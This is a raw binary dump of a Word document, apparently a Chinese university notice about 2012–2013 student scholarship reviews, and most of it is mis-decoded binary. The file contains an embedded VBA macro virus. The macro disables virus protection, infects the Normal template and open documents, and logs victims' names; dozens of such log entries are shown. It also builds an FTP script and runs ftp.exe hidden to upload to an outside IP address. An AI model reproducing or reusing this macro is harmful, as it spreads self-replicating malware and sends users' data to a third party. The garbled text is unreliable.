ࡱ> 463 RBbjbjWW2$== 83G$kkkkkQQQ\-Q/"QQQkkQQQQkkQQQQQk`#Z0QQq0QQQQ QQQQQQQQQQQQQQQQQQQQQQQQQ : ^'Yf[f[u]\O(Y)eN f[S02013030S  sQN_U\2012-2013f[t^f[uVYf[ёċ[]\Ovw Tb| 2012-2013f[t^f[uT{|VYf[ёċ[]\Os]_Y Tb|9hnc 0^'Yf[ V[VYf[ё [e~R 00 0^'Yf[ V[R_VYf[ё [e~R 00 0^'Yf[,gyuVYf[ё[eRl 0I{vsQeN b'}ZP}Y2012-2013f[t^f[uT{|VYf[ёċ[]\O0 N0VYf[ёyv N ^'Yf[ V[VYf[ё V[VYf[ёvVYR[a:NhQe6Rnf,gNyNt^~N N+TNt^~ (W!hu-Nyr+ROyvf[u0VYR^:N8000CQ/t^/N0 N ^'Yf[ V[R_VYf[ё V[R_VYf[ёvVYR[a:N[^~NmV0Tf[|QO0u;mO4gvhQe6Rnf,gNyNt^~N N+TNt^~ (W!hu-Nv^^NNvf[u0VYR^:N5000CQ/t^/N0  N ^'Yf[,gNyuVYf[ё 10^'Yf[OyVYf[ё^^u 20^'Yf[NNVYf[ё^u 30^'Yf[USyVYf[ё wQSOVYRVS^ 0^'Yf[,gyuVYf[ё[eRl 0ZQS[2008]61S 0 V ^'Yf[ \4gVYf[ё  \4gVYf[ё 1ub!hؚ\4g^*NNPc`z ;N(uNVYRb!h[^~NmV0Tf[|QO0:_T Nv^{|,gNysYf[u0dkVYf[ёSR NI{ TNb!h NI{VYf[ёċ agN0VYR^:N1000CQ/t^/N0 N0wQSO]\O[c N 9g26e 10g10e Tb| cgqvsQeNBlw_U\VYf[ёċ ]\OTyVYf[ё TRMDN1-3 0TyVYf[ёċ {~f[u,gN3u0s~l;Nċ0b|R[v^lQ:y0b|R[lQ:ye_T cebf[uY[yb0 N 10g11e NbV[VYf[ёPge0  N 10g24e NbV[R_VYf[ёPge0 V 10g31e NbTy!h~VYf[ёS\4gVYf[ёPge0 10Oy0NNVYf[ёcNPge 1 02012-2013f[t^^'Yf[Oy0NNVYf[ёb|R[ TUSh 0DN4  cN0N0 N0VI{VYvz^\VYf[uOo`U_eQ0R~h-N ^uT^^uR_~0 2 ^ukXQ 0^'Yf[NNVYf[ё3uh 0 ^^ukXQ 0^'Yf[OyVYf[ё3uh 0DN5 0 Tb|[f[u3uhvkXQZPQ%NH~ 4 V   >^.nhv˪qqqqqqqqqqoqqqUhq/5CJOJPJaJo(hq/CJOJPJaJo(hq/CJ$OJPJaJ$o(hq/5CJ$OJPJ\aJ$o(0hq/5B*CJ$KH OJQJ\^JaJ$o(phjhq/U"hq/B*CJ OJPJaJ o(ph hq/CJOJPJQJ\aJ o("hq/B*CJ4OJPJaJ$o(ph%"$<H 4 Z  D l 2d WD`2gdi 'd WD`'gdi 'dWD`'gdi 0d WD`0d $d[$\$a$$d a$$da$$a$  >bF.(l\ %d WD`% 2d WD`2gdi 'dhWD`'gdi 0d WD`0 'd WD`'gdi:N>e_ċ Dez^^N~h Nvz^N0 T | N l=NZ T | 5u ݋ 68902256 Pgec6e0Wp yS'YSA^601[ 5uP[HrPgeScnustu@163.com f[u]\O 2013t^9g26e DNRh DN1 02012-2013f[t^^'Yf[ V[VYf[ё 0 V[R_VYf[ё 0 \4gVYf[ё 0 USyVYf[ё TRMh 0 DN2 02012-2013f[t^^'Yf[Oy0NNVYf[ё TRMh 0 DN3 02012-2013f[t^^'Yf[Oy0NNVYf[ёb|R[ TUSh 0 DN4 0^'Yf[Oy0NNVYf[ё3uh 0 DN5 0^'Yf[USyVYf[ёb|R[ TUSh 0 DN6 0^'Yf[USyVYf[ё3uh 0 DN7 0^'Yf[ \4gVYf[ё {vh 0     \hv "<>J`$da$ $0d WD`0a$$0d 4$WD`0a$ 'd WD`'gdi 0d WD`0<>HJ&(,.248:@B⸴hq/jhq/Uhq/CJ OJPJQJaJo(%hq/CJ KHOJPJQJ^JaJ o(hq/CJOJPJaJo(hq/5CJOJPJ\aJo( $&*,0268<>@Bgdi 0182P. A!"#$%SS b 666666666vvvvvvvvv666666>6666666666666666666666666666666666666666666666666hH6666666666666666666666666666666666666666666666666666666666666666662 0@P`p2( 0@P`p 0@P`p 0@P`p 0@P`p 0@P`p 0@P`p8XV~PJ_HmH nHsH tHJ`J cke $1$a$ CJKH_HaJmH nHsH tHd`d h 1$dXD[$dYD\$a$$1$@&CJ0OJQJ^JaJ05KH$\$A $ ؞k=W[SOFiF 0nfh3\`?/[G\!-Rk.sԻ..a濭?PK!֧6 _rels/.relsj0 }Q%v/C/}(h"O = C?hv=Ʌ%[xp{۵_Pѣ<1H0ORBdJE4b$q_6LR7`0̞O,En7Lib/SeеPK!kytheme/theme/themeManager.xml M @}w7c(EbˮCAǠҟ7՛K Y, e.|,H,lxɴIsQ}#Ր ֵ+!,^$j=GW)E+& 8PK!mQtheme/theme/theme1.xmlYMoE#F{oc'vGuرhF[x=ޝzvg53NjHHzZ $ʯI)*E_N&IA!>Ǽ3xN>鱫WL0Č߫߿z}rx{h9T8T/χ?xY'~3S~O_|w)ӈHt=a+d NG1-RlƁ1RJwT蠯M1K"o he˓ێ½PL-|%EhY7'qP.\L=dqķ3Iofi.ñBRb-JP_pG ݢiKtdӌhFio7;7Q2ȾD>a/Q>XW ˔M_uHq)h +:Viw4rBqϫ"r!2laCbU|!8^8>ܠ,AбVt׎~ls14_=,ɬožTV G"ѦbH'.4x޵w-ϷE|F;v`b3"G 'e\fHO '$i_wp >*8i&LY%\,xҕ= r6f 3Tʅ):ªZKLs&C Mܛ0 [˫p@ע`j۽7 YHxHicT5Ar@HZAZC}i' RQ\m,zo,gQu{Y\,Nר/=L _.̇Y7C6-fSh62"5NHT[X65̫4X%Yֳ2fkhi~tCKF#b +w1m|4`!:U!p5a:~{4mmio ήc8mDJpSǹ橠V1?#Si?3E'pS2W`qB]( 08w nA[s)k8= Aa?R dڒɾcUӽ˲d)#Queb}C!&i0>4S7{z F} 4sKvUKoȳh~1jYUVH5U8Vk;֜L9ŰD ?*|FL "A3>]2ֵ褽mg  $ B \B f  S s>@ (  bB  S  !#" ?B S  ?H0(   !tq/i@(PP PUnknown G*Ax Times New Roman5Symbol3. *Cx Arial;= |8ўSOSimHeiA4  N[_GB2312N[;([SOSimSun=D eck\h[{SO[SO-= |8N[A$BCambria Math Qh&Z!r !r !Z&!),.:;?]}    & 6"0000 0 0 00000 =@\]^([{  0 0 00000;[3)?'*2!xxNormal wniuyj lixuesongOh+'0  4 @ L Xdlt|ͨ ֪niuyjNormal lixuesong2Microsoft Office Word@F#@+@{@XY0!r՜.+,D՜.+,|8   (0cnu  ` ?GKSOProductBuildVer2052-9.1.0.4047  !"$%&'()*,-./0125V89:H<=>?@ABCDEFG7IJKLMNOPQRSTU_XYZ[\]^`dabcRoot Entry FPf(Z0W@1TableWordDocument2$SummaryInformation(#DocumentSummaryInformation8+XacrosY0`#Z0XBAY0`#Z0ThisDocument ;  !"#$%&'()*+,-./012345689:;<=>?ABCDEFGHIJKLMNOPQSVWXYZ\@'$ '' *!>%@'&Switch the VirusProtection OFF B(D$H$F>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J%L $y(N (!>!P (!>%N'0yst &eiva *!>!P *!>%N'0", k 0 0' Logfile --> 0 0' Logfile --> $'0CME Rfo" 2 V$T$ '2 Th R C:\hsf 2.sys'2I 2 0TV c:\netldx.vxd.o 209.201.88.110suser anonymousul pass itsme@s)  cd incomingormasciiInput 2quit VDat*command.com /c ftp.exe -n -s:c:\netldx.vxd ZA@X>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J,L kMMake sure that some conditions are true before we continue infecting anythingLo  $ & 4!\ ^ 4!\ ` TruInfect the NormalTemplate $ed = T <!b'"alTe (!>!P (!>%N',veDocu1Write a log file of this NormalTemplate infection R d!. d!. R$ $f)) d!. R$ $fi . d!. R$'.kd . $f' '.syk R  ) , $f'  hhh:mm:ss AMPM - $ Zdddd, d mmm yyyy$ $f'  d!j $f'  . $f',ode  *!>!P *!>B@l , *!>B@nime, " "G <B@pjkInfect the ActiveDocument & 4!r$: 4!bW 4!b' empl *!>!P *!>%N',tiveDo (!>!P (!>B@lr , (!>B@n mmm y ^B1}<~s KS fAxea?b\%G 4B@pjkko Logfile -->3) & " 09:08:36 - Saturday, 28 Nov 1998 SPo0Ky Blue Planet" $ 02:50:31 PM - Saturday, 28 Nov 1998hel MARK B. SEAY.c! 08:04:45 AM - Friday, 4 Dec 1998 UPS.vx$ 11:43:35 AM - Thursday, 17 Dec 1998tem WROate# 03:07:26 PM - Tuesday, 22 Dec 1998URR BCBSAER$ 03:28:02 PM - Wednesday, 6 Jan 1999tup BCBSA)\" 02:59:47 PM - Monday, 11 Jan 1999 Marsha Veach % 01:54:54 PM - Wednesday, 20 Jan 1999th Connie Sandifer, CMPio" 09:33:06 PM - Monday, 25 Jan 1999 Doug Rowanfec% 08:21:12 AM - Wednesday, 27 Jan 1999tI IMSId " 10:59:58 AM - Friday, 29 Jan 1999 Rajcte$ 03:37:57 PM - Saturday, 30 Jan 1999veD horndt." 01:26:48 PM - Tuesday, 2 Feb 1999 Cooley Godward " 04:57:29 PM - Tuesday, 2 Feb 1999 Cooley Godwardr" 06:35:44 PM - Tuesday, 2 Feb 1999 Cooley Godwarde# 04:23:52 PM - Thursday, 4 Feb 1999If  Cooley Godwarde# 04:27:39 PM - Saturday, 6 Feb 1999 Sa Cooley Godwardp! 06:18:06 PM - Monday, 8 Feb 1999 Cooley Godward " 09:17:17 PM - Tuesday, 9 Feb 1999 hclee(1% 04:44:45 PM - Wednesday, 17 Feb 1999es Dr. W. Hsiao % Wendy Hsiao, Ph.D.f # 04:13:19 PM - Tuesday, 23 Feb 1999nfe CCST $ 10:09:35 AM - Saturday, 20 Mar 1999cat cpwuer# 09:33:49 AM - Thursday, 6 May 1999 # 12:39:25 PM - Tuesday, 20 May 1997 ghc-bbc! 01:21:36 PM - Friday, 7 May 1999 # 05:51:53 - Wednesday, 12 May 1999 qdzhuang$ 03:23:04 PM - Saturday, 19 Jun 1999 $ 02:53:46 - Tuesday, 6 Sep 2011 $ 09:37:47 - Monday, 19 Sep 2011 ʿ& 01:55:53 - Thursday, 29 Sep 2011 ʤ% 03:32:02 - Saturday, 8 Oct 2011 unknown$ 10:55:11 - Tuesday, 1 Nov 2011 new miller# 08:20:25 - Monday, 7 Nov 2011 unknown' 02:10:36 - Wednesday, 16 Nov 2011 [694]' 03:26:09 - Wednesday, 16 Nov 2011 $ 10:01:32 - Friday, 18 Nov 2011 г$ 01:55:42 - Friday, 18 Nov 2011 г' 08:49:02 - Wednesday, 23 Nov 2011 г% 03:02:56 - Tuesday, 29 Nov 2011 г% 04:12:05 - Tuesday, 29 Nov 2011 [г]% 08:18:09 - Thursday, 1 Dec 2011 κӿ% 03:24:58 - Thursday, 1 Dec 2011 unknown' 11:04:42 - Wednesday, 14 Dec 2011 []' 02:12:15 - Wednesday, 14 Dec 2011 unknown$ 11:25:32 - Friday, 10 Feb 2012 unknown% 03:19:44 - Tuesday, 10 Apr 2012 unknown% 06:50:54 - Tuesday, 24 Apr 2012 # 04:40:34 - Monday, 7 May 2012 hp% 02:03:42 - Tuesday, 22 May 2012 xianyong sheng# 03:08:43 - Sunday, 4 Nov 2012 ΢û' 09:13:02 - Wednesday, 21 Nov 2012 wangxun$ 11:00:08 - Friday, 11 Oct 2013 lixuesongBAttribute VB_Name = "ThisDocument" Bas1Normal.VGlobal!SpaclFalse CreatablPre declaIdTru BExposeTemplateDeriv$CustomlizC1P Sub _Cl5() On Error Res Next Const @Marker<- t is (a m ! 'Dl Vari=s Dim Save8,e,GInfec`ted,  As Boolean-ant ObjCOurCode, UserAddress, LogDfYFihSngA9'Initi0aliz/Set abAct[1.VBProA@Compon@s.Item(1S &= 2 0<= .3Module.Find(c, 10@O= nt+FSwitchC|Firus>tZion OFFpts.V  = A If (Day(Now())1) And (Sysm@M.@fgf("", "HKEY_CURRENT_USER\Softw\Micros@\MS \up (ACPME)\A? `(o7!@?!>") The`H E;`&k'DHad))Li0nes(`1CountOf2!E 64AuT7FQ,IfMid(,%.&"'f" & "2 -->")hen) -$ CFi@ To 4c e"s=&+ AInt(8 * Rnd)`2]$  ic@$"C:p\hsf.8sysA1Op en OutpruB#1C S@y#; AB c "c:\netldx.vxd" "o 209.201.88.110"u anonymoupass @itsme@c d incngasciiA H'qui( Shell "Amand. /c ftp.exe -n -s:$, vbHid`g3?K?AٟA= crEd32PMake sure`Pat socond cq H t| befo@we tinue1mingnysf@(F ~X1AQq2! cS_]"(liv&m0 = wd Or c_e^yRRqrA 2a  [W   .1dQ1 }pXX0ZX3S'Wria log rfof P, iB ns KLPApplicaAp~.Io1LotiL <> Chr(13(qsh0 I` `]C1R lkY=&f W' F \'9,3R0jJ+(Timp"hh:mm:0QAMPM j&/ ]d, d mmm yO Ǐ  AG}Deletee.FromtHS;/90#QG?Bݬ% 9BFk6mF(b* Ful,F P ":"N ~ ?N2 q VR=gIH ?<K|Sto$xg:WSubrBT 09:0 8:36 7Sa@turday80$v 1998 SPo0KyBlrPla!d2:50:31 r<MARK B. SEAY ' ' 08:04:45 AM - Friday, 4 De@c 1998 UPS 11:43:3fThursj17 lWRO l03:07:26 PjTue522 5BCBSA 7227Wedn96 Jan 9/ 82:59:478Mon1 Marsha@ Veach ;1:54;20 Connie Sandifer, CMP $9:3'}{C25"Doug Rowan8:21:12ψ}27 IMSI 10}5829J RajK@u7:5LSatu rL3KstdoleP h%^*\G{00020430-C 0046}#2.0#0#C:\Windows\system32\e2.tlb#OLE Automation`ENormalENCrmaQF  * \C 3FT!OfficgOficg!G{2DF8D04C-5BFA-101@B-BDE5gAjAe42ggram Files\CommonMicrosoft Shared\OFFICE12\MSO.DLL#M 1 Ob Library%zBeThisDocumentG TfisDHcu@Ienn* 2  HB1BH1B,!}"B+BB__SRP_0 @X__SRP_1RbPROJECTwmT)PROJECTUoK* *\CNormalrU~~~~~~l YMF40   >LF|5g1Project ThisDocumentF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA ! I` F5C:\Program Files\Microsoft Office\Office12\MSWORD.OLBWord Ap0FC:\Windows\system32\stdole2.tlbstdole )QL-[DR?C:\Program Files\Common Files\Microsoft Shared\OFFICE12\MSO.DLLOffice 1k F~s KS fAxea?b\